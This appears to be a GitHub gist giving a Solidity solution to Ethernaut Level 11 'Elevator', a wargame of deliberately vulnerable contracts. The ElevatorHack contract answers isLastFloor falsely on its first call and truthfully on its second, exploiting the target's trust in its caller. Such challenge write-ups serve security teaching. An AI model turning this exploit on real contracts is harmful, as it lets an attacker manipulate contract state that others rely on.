Last active
January 9, 2023 12:00
-
-
Save Chirag21/ec78ce978cc8e002a413ffedabb89b82 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 11 - Elevator. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.17; | |
interface IElevator { | |
function goTo(uint) external; | |
function top() external view returns(bool); | |
} | |
contract ElevatorHack { | |
uint private count; | |
function hack(address _elevator) external { | |
IElevator elevator = IElevator(_elevator); | |
// Passing 0 will save you some gas | |
elevator.goTo(0); | |
require(elevator.top()); | |
} | |
function isLastFloor(uint) external returns (bool) { | |
if (count > 0) return true; | |
else { | |
count++; | |
return false; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment